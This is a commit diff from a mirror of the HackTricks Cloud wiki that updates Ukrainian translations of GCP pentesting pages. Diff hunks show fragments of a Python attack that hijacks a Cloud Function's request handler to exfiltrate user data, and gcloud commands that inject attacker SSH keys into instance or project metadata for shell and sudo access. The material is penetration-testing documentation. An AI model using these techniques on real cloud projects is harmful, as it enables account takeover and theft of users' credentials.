mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 04:55:32 -08:00
Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle
This commit is contained in:
@@ -1,10 +1,12 @@
|
||||
# GCP - Дозволи для пентесту
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Якщо ви хочете провести пентест у середовищі **GCP**, вам потрібно запитати достатньо дозволів, щоб **перевірити всі або більшість сервісів**, що використовуються в **GCP**. Ідеально, якщо ви попросите клієнта створити:
|
||||
|
||||
* **Створити** новий **проект**
|
||||
* **Створити** **Службовий обліковий запис** всередині цього проекту (отримати **json облікові дані**) або створити **нового користувача**.
|
||||
* **Надати** **Службовому обліковому запису** або **користувачу** **ролі**, згадані пізніше, на РЕГІОН
|
||||
* **Надати** **Службовому обліковому запису** або **користувачу** **ролі**, згадані пізніше, над ОРГАНІЗАЦІЄЮ
|
||||
* **Увімкнути** **API**, згадані пізніше в цьому пості, у створеному проекті
|
||||
|
||||
**Набір дозволів** для використання інструментів, запропонованих пізніше:
|
||||
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
|
||||
roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Постійність
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Постексплуатація
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Постексплуатація Cloud Functions
|
||||
# GCP - Cloud Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,11 +19,11 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Вкрасти запити до Cloud Function
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
Якщо Cloud Function обробляє чутливу інформацію, яку надсилають користувачі (наприклад, паролі або токени), з достатніми привілеями ви могли б **змінити вихідний код функції та ексфільтрувати** цю інформацію.
|
||||
Якщо Cloud Function управляє чутливою інформацією, яку надсилають користувачі (наприклад, паролі або токени), з достатніми привілеями ви могли б **змінити вихідний код функції та ексфільтрувати** цю інформацію.
|
||||
|
||||
Більше того, Cloud Functions, що працюють на python, використовують **flask** для відкриття веб-сервера. Якщо ви якимось чином знайдете вразливість для ін'єкції коду всередині процесу flaks (наприклад, вразливість SSTI), можливо, **перезаписати обробник функції**, який буде отримувати HTTP запити для **зловмисної функції**, яка може **ексфільтрувати запит** перед тим, як передати його легітимному обробнику.
|
||||
Більше того, Cloud Functions, що працюють на python, використовують **flask** для відкриття веб-сервера, якщо ви якимось чином знайдете вразливість для ін'єкції коду всередині процесу flaks (наприклад, вразливість SSTI), можливо **перезаписати обробник функції**, який буде отримувати HTTP запити для **зловмисної функції**, яка може **ексфільтрувати запит** перед тим, як передати його легітимному обробнику.
|
||||
|
||||
Наприклад, цей код реалізує атаку:
|
||||
```python
|
||||
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
@@ -122,4 +122,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,20 +1,18 @@
|
||||
# GCP - Додати користувацькі SSH метадані
|
||||
|
||||
## GCP - Додати користувацькі SSH метадані
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Модифікація метаданих <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
## Модифікація метаданих <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
|
||||
|
||||
Модифікація метаданих на екземплярі може призвести до **значних ризиків безпеки, якщо зловмисник отримає необхідні дозволи**.
|
||||
|
||||
#### **Включення SSH ключів у користувацькі метадані**
|
||||
### **Включення SSH ключів у користувацькі метадані**
|
||||
|
||||
На GCP, **Linux системи** часто виконують скрипти з [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Критичним компонентом цього є [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), який призначений для **регулярної перевірки** кінцевої точки метаданих екземпляра на **оновлення авторизованих SSH публічних ключів**.
|
||||
На GCP, **Linux системи** часто виконують скрипти з [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Критичним компонентом цього є [daemon облікових записів](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), який призначений для **регулярної перевірки** кінцевої точки метаданих екземпляра на **оновлення авторизованих SSH публічних ключів**.
|
||||
|
||||
Отже, якщо зловмисник може модифікувати користувацькі метадані, він може змусити демон знайти новий публічний ключ, який буде оброблений і **інтегрований у локальну систему**. Ключ буде додано до файлу `~/.ssh/authorized_keys` **існуючого користувача або потенційно створити нового користувача з привілеями `sudo`**, залежно від формату ключа. І зловмисник зможе скомпрометувати хост.
|
||||
|
||||
#### **Додати SSH ключ до існуючого привілейованого користувача**
|
||||
### **Додати SSH ключ до існуючого привілейованого користувача**
|
||||
|
||||
1. **Перевірте існуючі SSH ключі на екземплярі:**
|
||||
|
||||
@@ -46,7 +44,7 @@ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
|
||||
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
5. **Отримайте доступ до екземпляра, використовуючи новий SSH ключ:**
|
||||
5. **Отримайте доступ до екземпляра за допомогою нового SSH ключа:**
|
||||
|
||||
- Підключіться до екземпляра за допомогою SSH, використовуючи новий ключ, отримуючи доступ до оболонки в контексті цільового користувача (`alice` у цьому прикладі).
|
||||
|
||||
@@ -55,7 +53,7 @@ ssh -i ./key alice@localhost
|
||||
sudo id
|
||||
```
|
||||
|
||||
#### **Створіть нового привілейованого користувача та додайте SSH ключ**
|
||||
### **Створіть нового привілейованого користувача та додайте SSH ключ**
|
||||
|
||||
Якщо не знайдено цікавого користувача, можна створити нового, якому будуть надані привілеї `sudo`:
|
||||
```bash
|
||||
@@ -75,21 +73,21 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
|
||||
# ssh to the new account
|
||||
ssh -i ./key "$NEWUSER"@localhost
|
||||
```
|
||||
#### SSH ключі на рівні проекту <a href="#sshing-around" id="sshing-around"></a>
|
||||
### SSH ключі на рівні проєкту <a href="#sshing-around" id="sshing-around"></a>
|
||||
|
||||
Можливо розширити доступ до SSH для кількох віртуальних машин (VM) у хмарному середовищі, **застосувавши SSH ключі на рівні проекту**. Цей підхід дозволяє доступ до SSH до будь-якого екземпляра в проекті, який не заблокував SSH ключі на рівні проекту. Ось узагальнений посібник:
|
||||
Можливо розширити доступ до SSH для кількох віртуальних машин (VM) у хмарному середовищі, **застосувавши SSH ключі на рівні проєкту**. Цей підхід дозволяє доступ до SSH до будь-якого екземпляра в межах проєкту, який не заблокував SSH ключі на рівні проєкту. Ось узагальнений посібник:
|
||||
|
||||
1. **Застосуйте SSH ключі на рівні проекту:**
|
||||
1. **Застосуйте SSH ключі на рівні проєкту:**
|
||||
|
||||
- Використовуйте команду `gcloud compute project-info add-metadata`, щоб додати SSH ключі з `meta.txt` до метаданих проекту. Ця дія забезпечує визнання SSH ключів на всіх VM у проекті, якщо тільки VM не має увімкненої опції "Блокувати SSH ключі на рівні проекту".
|
||||
- Використовуйте команду `gcloud compute project-info add-metadata`, щоб додати SSH ключі з `meta.txt` до метаданих проєкту. Ця дія забезпечує визнання SSH ключів на всіх VM у проєкті, якщо тільки VM не має увімкненої опції "Блокувати SSH ключі на рівні проєкту".
|
||||
|
||||
```bash
|
||||
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
|
||||
```
|
||||
|
||||
2. **SSH до екземплярів, використовуючи ключі на рівні проекту:**
|
||||
- З ключами SSH на рівні проекту ви можете підключитися до будь-якого екземпляра в проекті. Екземпляри, які не блокують ключі на рівні проекту, приймуть SSH ключ, надаючи доступ.
|
||||
- Прямий метод для SSH до екземпляра - це використання команди `gcloud compute ssh [INSTANCE]`. Ця команда використовує ваше поточне ім'я користувача та SSH ключі, встановлені на рівні проекту, щоб спробувати отримати доступ.
|
||||
2. **SSH до екземплярів, використовуючи ключі на рівні проєкту:**
|
||||
- З ключами на рівні проєкту ви можете підключитися до будь-якого екземпляра в межах проєкту. Екземпляри, які не блокують ключі на рівні проєкту, приймуть SSH ключ, надаючи доступ.
|
||||
- Прямий метод для SSH до екземпляра - це використання команди `gcloud compute ssh [INSTANCE]`. Ця команда використовує ваше поточне ім'я користувача та SSH ключі, встановлені на рівні проєкту, для спроби доступу.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
Наступні дозволи корисні для створення та крадіжки API ключів, зверніть увагу на це з документації: _API ключ є простим зашифрованим рядком, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно** і використовуються для **асоціювання** API запитів з вашим проектом для квоти та **білінгу**._
|
||||
Наступні дозволи корисні для створення та викрадення API ключів, зверніть увагу на це з документації: _API ключ - це простий зашифрований рядок, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно** і використовуються для **асоціювання** API запитів з вашим проектом для квоти та **білінгу**._
|
||||
|
||||
Отже, з API ключем ви можете змусити цю компанію платити за ваше використання API, але ви не зможете підвищити привілеї.
|
||||
Отже, з API ключем ви можете змусити компанію платити за ваше використання API, але ви не зможете підвищити привілеї.
|
||||
|
||||
Щоб дізнатися про інші дозволи та способи генерації API ключів, перегляньте:
|
||||
Щоб дізнатися про інші дозволи та способи генерації API ключів, перевірте:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -28,7 +28,7 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
|
||||
```
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
З цими дозволами зловмисник може активувати та використовувати нові сервіси в проекті. Це може дозволити **зловмиснику активувати такі сервіси, як admin або cloudidentity**, щоб спробувати отримати доступ до інформації Workspace або інших сервісів для доступу до цікавих даних.
|
||||
З цими дозволами зловмисник може активувати та використовувати нові сервіси в проекті. Це може дозволити **зловмиснику активувати сервіси, такі як admin або cloudidentity**, щоб спробувати отримати доступ до інформації Workspace або інших сервісів для доступу до цікавих даних.
|
||||
|
||||
## **References**
|
||||
|
||||
@@ -51,3 +51,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1,3 @@
|
||||
# GCP - Сервіси
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user